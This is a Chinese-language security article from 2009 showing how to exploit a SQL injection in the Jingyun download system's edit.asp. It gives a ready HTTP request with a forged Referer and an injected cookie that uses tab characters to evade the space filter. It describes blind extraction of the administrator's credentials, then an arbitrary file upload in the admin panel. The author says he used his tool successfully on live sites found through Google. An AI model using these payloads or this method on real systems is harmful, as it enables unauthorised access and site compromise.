首页 网络安全 安全学院 查看内容

惊云下载系统的惊人漏洞

2009-2-9 04:57 699 0

摘要: 惊云下载系统edit.asp文件存在SQL注入漏洞,后台存在任意文件上传漏洞 惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件e...
关键词: nbsp 错误 server 漏洞 user userinfo select 上面 where application

惊云下载系统edit.asp文件存在SQL注入漏洞,后台存在任意文件上传漏洞 惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件edit.asp文件的漏洞,一来发布一个漏洞,二教教大家如何发现和利用漏洞。我一行一行解释。<%user=Request.cookies("JyDownUserName")'取得用户COOKIE并存入USER变量 if user<>"" then  user=replace(user," ","+++ close")'给USER变量替换空格else  response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>如果你是本站会员请先<a href=http://www.7747.net/Article/200412/login.asp target=_top>登陆</a>后进入.")  response.endend if'上面判断COOKIE是否为空,空则跳转,等会我们构造COOKIE欺骗,让JyDownUserName这个COOKIE值不为空,至于为多少,等会说。 server_vv=len(Request.ServerVariables("SERVER_NAME"))server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" thenresponse.write("<script>alert('错误:禁止从站点外部提交数据!.')</script>")response.endend if'上面判断网页是否是从浏览器点击而进入的,我们同样可以伪造是这个地方为真,再此不再赘述%> <!--#include file="mdb_path_user.asp"--><!--#include file="char.inc"--><!--#include file="config.asp"-->'上面是头文件包含,没什么用,忽略就行了 <%pwd=replace(request.form("pwd")," ","+++ close")set rs=server.CreateObject("ADODB.RecordSet")rs.open "select * from UserInfo where user='"&user&"'",conn,1,2'关键的一句注入点,因为user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明显没有过滤单引号if rs.eof thenJyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!"'注入条件判断语句,没有它都不能确定是否成功,返回此句代表失败elseif request("type")="save" thenif pwd="" thenJyDownMsg="错误:要修改资料必需填写原密码!"elseif pwd<>rs("pwd") thenJyDownMsg="错误:原密码错误!"'注入条件判断语句,没有它都不能确定是否成功,返回此句代表成功,至于为什么我真得无法用语言表达了,还是自己想吧。这句以下已经没有意义了。解释至此elseqm=htmlencode(request.form("qm"))if len(qm)>250 thenJyDownMsg="错误:个性签名多于250个字符!"else.........   好了,已经知道注入的地方,而且知道成功的标志,同时知道表的结构(网上可以找到嘛),便可以利用了。到底如何利用呢?当然最好是搞定管理员的用户和密码拉。 我用WSE抓包后,整理如下(以我自己的机器做实验)       POST /admin/edit.asp HTTP/1.1      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*1      Referer: http://localhost/      Accept-Language: zh-cn      Content-Type: application/x-www-form-urlencoded      Accept-Encoding: gzip, deflate      User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)      Host: localhost      Content-Length: 125      Connection: Keep-Alive      cache-Control: no-cache2      Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1      type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&[email protected]&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 上面两处是需要注意的,有序号。其他地方随便添,按照我上面的就行了。 1处是为了逃避上面讲到的防网页不是从点击近来的,把这个值设为网址就行了,没什么好讲的。2处是最关键的,我上面提到了COOKIE欺骗,这里不但要欺骗还有注入。 JyDownUserName这个值我们把它设为了aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1这个。上面是经过编码的。其中%09是TAB键的编码,为了躲过空格过滤。它和空格是等价的,真的谢谢MS工程师开发软件总是为用户着想,生怕功能不强。程序作者只过滤了空格欠考虑。 把上面的值代入到原程序总就变为了(应该学过代数啊,呵呵)select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1' 那个a串没什么意义,就是为了使前面语句为假,没有这个用户就行了,可以是任意特殊字符串。后面的SELECT是重点。ID=1是猜id为1的用户,其实就是管理员用户。不过有的管理员可能改了,那就不灵了。猜他的长度是不是1。很显然是1可能性很小,不要紧,猜错了,会返回"错误:....用户资料读取错误,请重新登陆!"中间省了一部分。我们把语句换成select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'返回"错误:....用户资料读取错误,请重新登陆!",看来用户名长度也不是2,再换。 换到5是返回 "错误:原密码错误!",看来用户名长度就是5了。同样方法猜出密码长度7。 该猜字符。select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'上面的语句大家能看懂吧?用mid函数是截取一个字符,然后转换成ASCII码,再和40比较。返回错误,说明user的第一个字符ASCII值不是40。 猜到97的时候返回"错误:原密码错误!",说明用户名第一个字符是a 。 以此类推,猜出user是admin,pwd是abcdefg.管理员的用户密码猜出来了。 上面的过程显然不可能手工输入和猜测,必须依靠工具。现成的也没有这种工具,毕人就抽了宝贵的打牌(QQ升级)时间了写了个程序,很快就猜出来了。上面是方法。 我用我写的程序在网上实验,真是无往不利。就是在GOOGLE上搜惊云系统,管理员很快猜出来了。 我登陆一个网站后,发现有个地方可以上传文件。我回过头读源代码,发现了和动网一样的文件上传漏洞,都是在路径上没做检查,允许远程命名文件名。 我抓包,提交,恩,成功。顺便又写了个脚本。这个漏洞没什么好讲的,还是看动画怎么做吧。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部